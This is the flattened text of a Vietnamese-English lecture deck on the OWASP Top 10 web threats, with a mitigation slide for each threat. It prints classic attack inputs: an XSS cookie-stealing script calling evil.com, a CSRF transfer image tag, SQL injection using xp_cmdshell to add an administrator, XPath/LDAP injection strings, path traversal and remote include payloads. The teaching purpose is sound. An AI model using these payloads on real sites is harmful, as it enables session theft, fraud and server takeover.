Web Security Threat 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. Cross Site Scripting (XSS) Cross Site Request Forgery (CSRF) Information leakage and Improper Error Handling Insecure Direct Object Reference Failure to Restrict URL Access Injection Flaws Malicious File Execution (remote file inclusion) Insecure Communications Broken Authentication and Session Management Insecure Cryptographic Storage Cross­Site Scripting (XSS) Những đoạn script độc trả về từ 1 site đáng tin cậy và trong ngữ cảnh tin cậy Khai thác sự tin cậy của user với 1 site Bắt nguồn từ phishing 2 loại chính: Reflected (Non-persistent ) Stored (Persistent ) 3 XSS Example I HTML code: 4 XSS Example II HTML code: 5 Cross Site Scripting ­ Reflected Evil.org 1) Link to bank.com sent to user via E-mail or HTTP 5) Evil.org uses stolen information to impersonate user 4) Script sends user’s information without the user’s consent or knowledge User 2) User sends script embedded as data 3) Script/data returned, executed by browser 6 bank.com XSS: Cross­Site Scripting evil.com E.g., URL embedded in HTML email victim’s browser naive.com hello.cgi Access some web page <FRAME SRC= http://naive.com/hello.cgi? name=<script>win.open( “http://evil.com/steal.cgi? cookie=”+document.cookie) </script>> Forces victim’s browser to call hello.cgi on naive.com with this script as “name” GET/ steal.cgi?cookie= GET/ hello.cgi?name= <script>win.open(“http:// evil.com/steal.cgi?cookie”+ document.cookie)</script> hello.cgi executed <HTML>Hello, dear <script>win.open(“http:// evil.com/steal.cgi?cookie=” +document.cookie)</script> Welcome!</HTML> Interpreted as Javascript by victim’s browser; opens window and calls steal.cgi on evil.com slide 7 Khai thác XSS Đánh cắp cookie nạn nhân Track mọi hành động nạn nhân trên browser Chuyển hướng đên Phishing site Chỉnh sửa nội dung bất kỳ trang nào nạn nhân duyệt Khai thác lỗ hổng browser … 8 Ngăn ngừa XSS Escape all user input Escaping chuyển đổi output thành các entities html vô hại <script> thành &lt;script&gt; những vấn hiển thị <script> Validate data Sử dụng white list thay vì black list … Threat 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. Cross Site Scripting (XSS) Cross Site Request Forgery (CSRF) Information leakage and Improper Error Handling Insecure Direct Object Reference Failure to Restrict URL Access Injection Flaws Malicious File Execution (remote file inclusion) Insecure Communications Broken Authentication and Session Management Insecure Cryptographic Storage Cross Site Request Forgery (CSRF) “CSRF attack buộc browser nạn nhân đã logon gửi 1 pre-authenticated request tới 1 ứng dụng web, sau đó ép buộc browser nạn nhân thực hiện 1 hành động có lợi cho người tấn công” Khai thác sự tin cậy site với 1 user CSRF ví dụ A muốn chuyển cho B 100k, request: POST http://bank.com/transfer.do HTTP/1.1 ... Content-Length: 19; acct=B&amount=100 C biết rằng thay vì generate 1 request như trên, có thể dùng GET http://bank.com/transfer.do?acct=B&amount=100 HTTP/1.1 C tìm cách dụ A chuyển 100000k cho mình, có thể bằng cách gởi cho A email có chứa đoạn mã: <img src="http://bank.com/transfer.do? acct=C&amount=100000" width="1" height="1" border="0“> Solution Thêm cơ chế authentication thứ 2 Khắc phục các lỗi XSS Có trang confirm trước khi thực thi hành động quan trọng nào đó Sử dụng POST và chỉ chấp nhận POST request cho dữ liệu nhạy cảm … JavaScript hijacking (Web 2.0) Khai thác: Ajax engine phía client side giữa browser và web server; thực hiện các hành động 1 cách tự động Web 2.0 applications có thể dùng JavaScript (JSON) cho việc truyền tải dữ liệu Javascript: Được quyền override ANYTHING 14 Web 1.0 & Web 2.0 browser browser Javascript HTML+CSS data Ajax engine HTTP request HTML + CSS data HTTP request XML data, JSON web server web server backend systems backend systems 15 Ví dụ The user visits an unfriendly site and executes the following JavaScript: function Object() { this.id setter = function (x){ doBadStuff (x) } } The unfriendly site makes a request to a friendly site Suppose the request returns JSON <*script src="http://mail.google.com/mail/? _url_scrubbed_"> Similar to CSRF, if the user has authenticated, the cookies are sent with the request [{“id”:”123”, “password”:”educause”,“salary”:”4000000”}] The returned JSON gets executed; the overridden setter hook gets called 16 Solution Thay đổi luồng thực thi ở client Chỉnh sửa JSON trong response /*<JSON_HERE>*/ (Don’t do this) while(true); <JSON_HERE> (Google) throw new Error(""); <JSON_HERE> (DWR) {}&& <JSON_HERE> Prefix/comment được remove bởi application; Dùng parseJSON() thay vì eval() Dùng object notation {} thay cho array notation [] 17 Threat 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. Cross Site Scripting (XSS) Cross Site Request Forgery (CSRF) Information leakage and Improper Error Handling Insecure Direct Object Reference Failure to Restrict URL Access Injection Flaws Malicious File Execution (remote file inclusion) Insecure Communications Broken Authentication and Session Management Insecure Cryptographic Storage Information Leakage and Improper Error Handling Application / Database Error Messages Misconfigured servers This information may be indexed by search engines! SQL Injection Example I 20 SQL Injection Example II 21 Forced Directory Browsing Google Hacking Popularized by johnny.ihackstuff.com Dùng google để tìm kiếm dữ liệu insecure cũng như misconfigured/unpatched servers indexed trên web • Wikto (Sensepost) or SiteDigger (Foundstone) - free tools used along with ihackstuff’s Google Hack Database Google Hacking Demo "admin account info" filetype:log Solution Không xuất ra các error message quá chi tiết Có một “safe mode” khi có các lỗi xảy ra Sử dụng robots.txt để ngăn các search engine 26 Threat 1. 2. 3. 4. 5. 6. Cross Site Scripting (XSS) Cross Site Request Forgery (CSRF) Information leakage and Improper Error Handling Insecure Direct Object Reference Failure to Restrict URL Access Injection Flaws a) SQL Injection, XPATH Injection, etc Malicious File Execution (remote file inclusion) 8. Insecure Communications 9. Broken Authentication and Session Management 10. Insecure Cryptographic Storage From OWASP Top 10: The Ten Most Critical Web 7. Insecure Direct Object Reference “1 tham chiếu đối tượng trực tiếp xảy ra khi 1 developer đặt trong URL hoặc form paramater 1 tham chiếu tới 1 đối tượng: file, folder, database recorde... Người tấn công có thể xử lý những tham chiếu này để truy cập tới những đối tượng khác” E.g. /BankAccount.jsp?acct_nmbr=123 The hacker chỉnh sửa parameter để xem các account của các user khác Solution Validate data Cookie data, URL parameters, all HTML Form data (thậm chí hidden, select, radio and checkbox types) Thực hiện ở cả client lẫn server Sử dụng ánh xạ các tham chiếu gián tiếp (hash) POST /BankAccount.jsp?acct_nmbr=d83OJdm3 … Key: d83OJdm3 value: 123 Threat Cross Site Scripting (XSS) 2. Cross Site Request Forgery (CSRF) 3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference 5. Failure to Restrict URL Access 6. Injection Flaws 7. Malicious File Execution (remote file inclusion) 8. Insecure Communications 9. Broken Authentication and Session Management 10. Insecure Cryptographic Storage From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities 1. Failure to Restrict URL Access Ứng dụng: Bảo vệ bằng ngăn hiển thị link, URL Các file xml tĩnh, report Người tấn công: truy cập trực tiếp URL Force Browser: Guess link + brute force Solution Đảm bảo all URL và chức năng được bảo vệ J2EE: Sử dụng security-constraint và auth-constraint (config trong web.xml) Acegi Security - security framework Path traversal Hầu hết các tấn công path traversal cơ bản đều dựa trên việc sử dụng 1 số chuỗi ký tự đặc biệt Ví dụ: Gốc: http://example.com/show.jsp? result=login.asp Tấn công: http://example.com/show.jsp? result=../etc/password 33 Threat Cross Site Scripting (XSS) 2. Cross Site Request Forgery (CSRF) 3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference 5. Failure to Restrict URL Access 6. Injection Flaws 7. Malicious File Execution (remote file inclusion) 8. Insecure Communications 9. Broken Authentication and Session Management 10. Insecure Cryptographic Storage From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities 1. Injection Flaws Dữ liệu người dùng được gửi tới interpreter như 1 phần của 1 command, query hoặc dữ liêu. Các loại tấn công: SQL Injection SSI Injection XPath Injection LDAP (Lightweight Directory Access Protocol) Injection JSON (Javascript Object Notation) Injection … 35 SQL Injection Example I 36 SQL Injection Example II 37 SQL Injection Example ­ Exploit 38 SQL Injection Example ­ Outcome 39 SQL Injection Attacks Tạo Windows Account: Add as 1 adminstrator: SELECT * FROM users WHERE login = ‘’; exec master..xp_cmdshell 'net users username password /add';--’ and password= ’’ SELECT * FROM users WHERE login = ‘'; exec master..xp_cmdshell 'net localgroup Administrators username /add';--’ and password= ‘’ … Ngăn ngừa SQL injection Dùng Prepared Statements “select * from accounts where id = “ + id vs “select * from accounts where id =?” Validate input Principle of least privileges Strong typing Business logic validation Không run query as a user with update permissions (dbo, drop, etc) Escape XPath Injection Tương tự SQL injection VD: String FindUserXPath; FindUserXPath = "//Users/user[username/text()='" + Request("Username") + "' And password/text()='" + Request("Password") + "']"; Standard authentication query. Username = user Password = password XPath query becomes: //users/user[username/text()=‘user’ and password/text()=‘password’] Attack authentication query Username = user’ or ‘1’ = ‘1 Password = password XPath query becomes: //users/user[username/text()=‘user’ or ‘1’ = ‘1’ and password/text()=‘password’] 42 LDAP Injection Server dùng LDAP để authentication User name initialized, but then uses unchecked user input to create a query filter = "(uid=" + CStr(userName) + ")" ' để tìm user Người tấn công có thể khai thác bằng cách dùng những ký tự đặc biệt http://example/ldapsearch.asp?user=* SSI Injection Server sử dụng Server-Side Includes Người tấn công truyền vào input 1 SSI embedded <!--#INCLUDE VIRTUAL="/web.config"--> SSI sẽ inserts malicious code vào webpage ở request tiếp theo JSP Injection Tương tự SSI injection Server sử dụng dynamic code for templates Người tấn công truyền vào <jsp:include “http://bad.com/1.jsp” > => malicious code được đưa vào webpage Threat Cross Site Scripting (XSS) 2. Cross Site Request Forgery (CSRF) 3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference 5. Failure to Restrict URL Access 6. Injection Flaws 7. Malicious File Execution (remote file inclusion) 8. Insecure Communications 9. Broken Authentication and Session Management 10. Insecure Cryptographic Storage From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities 1. Malicious File Execution Remote code execution Upload backdoor Ví dụ: PHP is particularly vulnerable Hacker visits 1 website cho phép uploads Hacker uploads 1 malicious code Hacker biết cấu trúc thư mục và send path như một parameter ‘filename’ PHP code được thực thi trên server include $_REQUEST[‘filename’]; Solution Application: Không sử dụng input trong bất kỳ filename cho serverbased resource (images, XML, XSL transform documents, hoawjc script inclusions). Không dùng parameter để thực thi trực tiếp 1 Server Side Include Ngăn web servers tạo connections mới tới external web sites và internal systems. Sử dụng ánh xạ tham chiếu đối tượng gián tiếp … Threat Cross Site Scripting (XSS) 2. Cross Site Request Forgery (CSRF) 3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference 5. Failure to Restrict URL Access 6. Injection Flaws 7. Malicious File Execution (remote file inclusion) 8. Insecure Communications 9. Broken Authentication and Session Management 10. Insecure Cryptographic Storage From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities 1. Insecure Communication Thông tin nhạy cảm được gửi trên kênh truyền không đợc mã hóa đều có thể bị capture dễ dàng Sử dụng SSL để truyền các thông tin nhạy cảm Encrypt authentication requests J2EE: Thêm security constraint trong web.xml cho các URL requires HTTPS Threat Cross Site Scripting (XSS) 2. Cross Site Request Forgery (CSRF) 3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference 5. Failure to Restrict URL Access 6. Injection Flaws 7. Malicious File Execution (remote file inclusion) 8. Insecure Communications 9. Broken Authentication and Session Management 10. Insecure Cryptographic Storage From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities 1. Broken Authentication Hack account Client side authentication controls Weak password Remember password Idle timeout Validate chỉ ở phía client Referer checks Referer (là một HTTP header cho biết location trước đó của browser) có thể bị thay đổi để vượt qua sự điều khiển của ứng dụng. Ví dụ trang login.jsp chỉ được gọi từ http://www.example.com/index.jsp thì attacker có thể gán giá trị referer=http://www.example.com/index.jsp để vào được login.jsp. Session hijacking Session tokens dựa trên URL, hidden field, cookie Đánh cắp được session ID => lấy được session Session fixation 54 Session Attack Session sidejacking: Người tấn công có thể bắt các gói tin trao đổi giữa client và server (trong đó bao gồm cả session token) và chiếm đoạt session của nạn nhân Session brute forcing: 1 số site sử dụng các thuật toán yếu để tạo session id dẫn đến việc dễ đoán, dễ reverse, không gian khóa nhỏ 55 Solution Sử dụng các thuật toán mạnh để tạo các session id (pseudo-random, number generator, Yarrow, EGADS…) Set timeout idle session Khi user logout: xóa các session state, cookie liên quan … Threat Cross Site Scripting (XSS) 2. Cross Site Request Forgery (CSRF) 3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference 5. Failure to Restrict URL Access 6. Injection Flaws 7. Malicious File Execution (remote file inclusion) 8. Insecure Communications 9. Broken Authentication and Session Management 10. Insecure Cryptographic Storage From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities 1. Insecure Cryptographic Storage From http://www.owasp.org/index.php/Top_10_2007 : “Web applications rarely use cryptographic functions properly to protect data and credentials. Attackers use weakly protected data to conduct identity theft and other crimes, such as credit card fraud.” Sử dụng phương pháp mã hóa strong standard Stop using Message-Digest Algorithm 5 (MD5), Secure Hash Algorithm (SHA1), Data Encryption Standard (DES) Use SHA-256, Advanced Encryption Standard (AES), Rivest/Shamir/Adleman Public Key Encryption (RSA) Web Application Security Principals Defense in depth Positive secure model Fail securely Least privilege Avoid security by obscurity Web Security Keep security simple Detect intrusions Don’t trust infrastructure Don’t trust service Establish secure defaults Depth in defense Áp dụng nhiều cơ chế bảo vệ vào ứng dụng IDS/IPS Access Control And Firewall Application Firewall Web Server Databases Application Server The Internet Backend Server/System Positive security model Positive security model = Whitelist: định nghĩa “cái được phép” và cấm các hành động khác Whitelist Blacklist What is allowed What is disallowed Deny others Allow others Fail securely Exception handling, error handling Least privilege Cấp cho người dùng tập quyền tối thiểu đủ để hoàn thành công việc read User A read write User B Web application Database Avoid security by obscurity Tính secure của hệ thống không nên dựa vào việc che dấu các chi tiết bên trong Keep security simple Sử dụng những phương pháp đơn giản thay vì phức tạp hóa các vấn đề Establish secure defaults Mặc định ban đầu của ứng dụng, chúng ta luôn luôn để ở chế độ security. Và tùy thuộc vào từng user, họ có thể giảm mức độ security xuống cho phù hợp (nếu điều này là được phép) Minimize attack surface area “If you do not use it, remove it or disable it.” Mỗi đặc tính được thêm vào ứng dụng cũng đồng nghĩa với việc làm tăng thêm khối lượng rủi ro cho toàn bộ ứng dụng. Mục đích của phát triển là phải giảm thiểu rủi ro tổng thể này bằng cách hạn chế những khu vực có thể bị tấn công 67 Fix security issues correctly Khi một vấn đề về security được phát hiện, chúng ta cần phải test nó kỹ lưỡng, tìm ra nguyên nhân gây ra vấn đề. Tránh hấp tấp, vội vàng 68 The end 69